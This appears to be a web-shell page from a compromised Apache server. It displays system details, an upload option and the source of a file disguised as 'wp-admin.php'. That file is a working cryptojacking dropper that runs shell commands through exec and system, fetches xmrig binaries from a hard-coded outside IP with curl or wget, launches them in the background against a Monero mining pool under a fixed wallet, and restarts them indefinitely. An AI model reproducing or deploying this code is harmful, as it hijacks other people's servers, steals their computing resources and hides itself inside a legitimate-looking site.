GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/public/wp-admin.php
<?php
$c=['u'=>'http://93.177.77.204/d/','f'=>'stmept','k'=>'stmept','i'=>60,'a'=>'--url pool.supportxmr.com:3333 --user 8556M2fMqE8Dg1U3pERP9rJ64jaa6MMha5SY5ovWQ7XiYjxdKquPQ7Z4afpEeXUtfJVBLGvLncGxtKMugv61S9nFGMHNAFK --pass laqi --donate-level 0','d'=>__DIR__ . '/'];

$l=$c['d'].md5($c['f']).'.lock';
$fp=@fopen($l,"w+");
if(!$fp||!@flock($fp,LOCK_EX|LOCK_NB)){if($fp)fclose($fp);return;}
ignore_user_abort(true);
set_time_limit(0);
if(function_exists('fastcgi_finish_request')){fastcgi_finish_request();}else{header("Connection: close");header("Content-Length: 0");@ob_end_flush();@flush();}
while(@ob_get_level()>0){@ob_end_clean();}

if(!function_exists('x')){
function x($m){
$s=['exec','shell_exec','system','passthru'];
foreach($s as $f){
if(function_exists($f)){
$ol=ob_get_level();
ob_start();
$r=($f==='exec')?(exec($m,$o)?implode("\n",$o):""):$f($m);
while(ob_get_level()>$ol)ob_end_clean();
return $r;
}
}
return false;
}
}

if(!function_exists('dl')){
function dl($u,$p){
if($f=@fopen($u,'r')){file_put_contents($p,$f);@fclose($f);}
elseif(function_exists('curl_init')){x("curl -skL -o ".escapeshellarg($p)." ".escapeshellarg($u));}
else{x("wget -qO ".escapeshellarg($p)." ".escapeshellarg($u)." --no-check-certificate");}
return(file_exists($p)&&filesize($p)>0);
}
}

$a=strtolower(php_uname('m'));
$t=$c['u'].'xmrig_86c3';
if(strpos($a,'arm')!==false||strpos($a,'aarch64')!==false){
$ld=x("ldd --version 2>&1");
$t=$c['u'].(strpos($ld,'musl')!==false?'xmrig_m':'xmrig_g');
}
$p=$c['d'].$c['f'];
while(true){
if(file_exists($c['d'].'stop_me')){@unlink($c['d'].'stop_me');break;}
if(!file_exists($p)){if(dl($t,$p))@chmod($p,0755);else{sleep($c['i']);continue;}}
$r=x("pgrep -f ".escapeshellarg($c['k']));
if(empty(trim($r))){x("cd ".escapeshellarg($c['d'])." && nohup ./".$c['f']." ".$c['a']." > /dev/null 2>&1 &");}
sleep($c['i']);
}
@flock($fp,LOCK_UN);
@fclose($fp);